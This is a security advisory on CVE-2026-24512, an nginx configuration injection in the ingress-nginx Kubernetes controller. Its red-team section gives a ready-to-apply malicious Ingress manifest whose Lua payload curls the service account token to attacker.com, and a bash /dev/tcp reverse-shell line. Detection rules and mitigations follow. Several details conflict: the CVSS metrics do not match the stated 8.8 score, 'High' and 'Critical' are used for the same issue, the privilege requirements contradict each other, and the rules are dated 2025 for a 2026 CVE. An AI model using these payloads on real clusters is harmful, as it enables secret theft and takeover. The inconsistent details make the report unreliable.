CVE-2026-24512

Executive Summary

CVE-2026-24512 is a critical security vulnerability in the ingress-nginx controller, a widely used Kubernetes ingress gateway. The flaw resides in the processing of the rules.http.paths.path field within Ingress resources. An attacker who can create or modify an Ingress resource (or trick a privileged user into applying a malicious manifest) can inject arbitrary nginx configuration directives. This injection can lead to remote code execution (RCE) within the ingress-nginx controller pod and, critically, the disclosure of all Secrets accessible to the controller. In a default installation, the controller has cluster-wide Secret read access, making this a severe cluster-level compromise.

The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the attack vector is well-understood and highly dangerous. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but this is expected to change as the vulnerability becomes more widely known.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but rather to the Kubernetes ecosystem and the ingress-nginx container image. The supply chain risk is significant: any organization using ingress-nginx in their Kubernetes cluster is potentially affected. The attack surface is broadened by the fact that Ingress resources are often created by developers or CI/CD pipelines with elevated privileges.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to submit a crafted Ingress resource.
• Privileges Required (PR): None (N) - An attacker does not need any prior authentication or privileges to exploit this vulnerability if they can create Ingress resources.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) - Complete disclosure of all Secrets accessible to the controller.
• Integrity (I): High (H) - Complete compromise of the controller's integrity.
• Availability (A): High (H) - Full denial of service or disruption of the controller.

Threat Level: Critical. The combination of network exploitability, no privileges required, and the potential for cluster-wide Secret disclosure makes this a top-priority vulnerability.

Deep Dive & Mechanics

The ingress-nginx controller dynamically generates nginx configuration files based on Ingress resources. The rules.http.paths.path field is intended to define URL paths for routing traffic to backend services. However, due to insufficient sanitization, an attacker can inject arbitrary nginx directives into this field.

Attack Vector:

1. An attacker creates or modifies an Ingress resource with a malicious path value.
2. The ingress-nginx controller reads this Ingress resource and incorporates the malicious path into the generated nginx configuration.
3. The injected nginx directives can include:
   • set_by_lua or access_by_lua_block to execute arbitrary Lua code (which runs in the context of the nginx worker process).
   • proxy_pass to redirect traffic to an attacker-controlled server.
   • content_by_lua_block to serve arbitrary content or execute system commands.
4. The Lua code can then read the /etc/kubernetes/pki/ directory or use the Kubernetes API to enumerate and exfiltrate Secrets.

Why it works: The ingress-nginx controller uses a template engine (Go templates) to generate nginx configuration. The path field is inserted directly into the template without proper escaping or validation, allowing the injection of arbitrary nginx configuration syntax.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code path is in the nginx template generation logic. The path field is directly interpolated into the configuration.

# Vulnerable template snippet
location {{ .Path }} {
    proxy_pass http://{{ .Backend }};
}

If .Path is set to /; set_by_lua_block { os.execute("curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)") }; #, the resulting nginx configuration becomes:

location /; set_by_lua_block { os.execute("curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)") }; # {
    proxy_pass http://backend;
}

This is valid nginx syntax and will execute the Lua code.

Patched Code (Expected): A patch would involve sanitizing the path field to ensure it only contains valid URL path characters and does not allow injection of nginx directives.

# Patched template snippet
location {{ .Path | escapeNginxPath }} {
    proxy_pass http://{{ .Backend }};
}

The escapeNginxPath function would strip or encode characters like ;, {, }, and newlines.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a Kubernetes cluster (e.g., using Minikube or Kind).
2. Install ingress-nginx using the default Helm chart.
3. Create a service account with permissions to create Ingress resources.

Exploitation Steps:

1. Create a malicious Ingress resource:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: malicious-ingress
spec:
  ingressClassName: nginx
  rules:
  - host: example.com
    http:
      paths:
      - path: /; set_by_lua_block { local f = io.popen("curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"); f:read("*a"); f:close() }; #
        pathType: Prefix
        backend:
          service:
            name: some-service
            port:
              number: 80

2. Apply the Ingress resource: kubectl apply -f malicious-ingress.yaml
3. The ingress-nginx controller will generate a configuration with the injected Lua code.
4. When any request hits the ingress controller, the Lua code executes, exfiltrating the service account token to the attacker's server.
5. The attacker can then use the token to authenticate to the Kubernetes API and read all Secrets in the cluster.

Alternative Payload: To achieve RCE, use a reverse shell:

os.execute("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")

Blue Team (Defensive)

Detection:

1. Monitor for Ingress resources with unusual path values containing characters like ;, {, }, or Lua keywords.
2. Use admission controllers (e.g., OPA/Gatekeeper) to deny Ingress resources with non-standard path patterns.
3. Monitor ingress-nginx controller logs for errors or unexpected configuration reloads.

Mitigation:

1. Restrict who can create or modify Ingress resources using RBAC.
2. Use a Web Application Firewall (WAF) in front of the ingress controller.
3. Apply network policies to limit egress from the ingress-nginx controller pod.
4. Monitor for unexpected outbound connections from the controller pod.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the ingress-nginx controller pod to unknown external IPs.
  • HTTP requests containing base64-encoded Kubernetes tokens in the URL path.
• File System:
  • Unexpected files in /tmp/ or /var/run/ on the controller pod.
  • Modified nginx configuration files in /etc/nginx/.
• Kubernetes API:
  • Unusual API calls from the ingress-nginx controller service account (e.g., listing Secrets across namespaces).
• Logs:
  • Ingress-nginx controller logs showing errors like "failed to parse configuration" or "lua entry thread aborted".
  • Audit logs showing creation of Ingress resources with suspicious path values.

Detection Engineering

YARA Rule

rule CVE_2026_24512_IngressNginx_Injection {
    meta:
        description = "Detects malicious Ingress resources exploiting CVE-2026-24512"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-24512"
    strings:
        $lua_injection = /set_by_lua_block|access_by_lua_block|content_by_lua_block|os\.execute|io\.popen/
        $nginx_injection = /;.*\{|location.*;/
    condition:
        any of ($lua_injection) or any of ($nginx_injection)
}

Sigma Rule

title: CVE-2026-24512 - Malicious Ingress Resource Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of Ingress resources with suspicious path values indicating nginx configuration injection.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24512
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: create
        objectRef.resource: ingress
        requestObject.spec.rules.http.paths.path|contains:
            - ';'
            - 'set_by_lua_block'
            - 'access_by_lua_block'
            - 'os.execute'
    condition: selection
falsepositives:
    - Legitimate use of advanced nginx features (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-24512 - Ingress-Nginx Configuration Injection"; flow:to_server,established; content:"/"; depth:1; pcre:"/set_by_lua_block|access_by_lua_block|os\.execute|io\.popen/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Ingress Creation: Use RBAC to limit who can create or modify Ingress resources. Only allow trusted users and service accounts.
2. Admission Control: Deploy an admission webhook (e.g., OPA/Gatekeeper) to validate Ingress resources and reject those with suspicious path values.
3. Network Segmentation: Apply network policies to restrict egress from the ingress-nginx controller pod to only necessary destinations.
4. Monitor Secrets Access: Enable Kubernetes audit logging and monitor for unusual Secret read operations by the ingress-nginx controller service account.

Long-Term Fix:

• Apply the official patch from the ingress-nginx project once released.
• Upgrade to a patched version of ingress-nginx as soon as it becomes available.
• Consider using an alternative ingress controller (e.g., Traefik, Istio) if a patch is not forthcoming.

Workaround:

• If patching is not possible, implement a custom admission controller that sanitizes the path field to only allow alphanumeric characters, /, -, _, and ..

Valters IT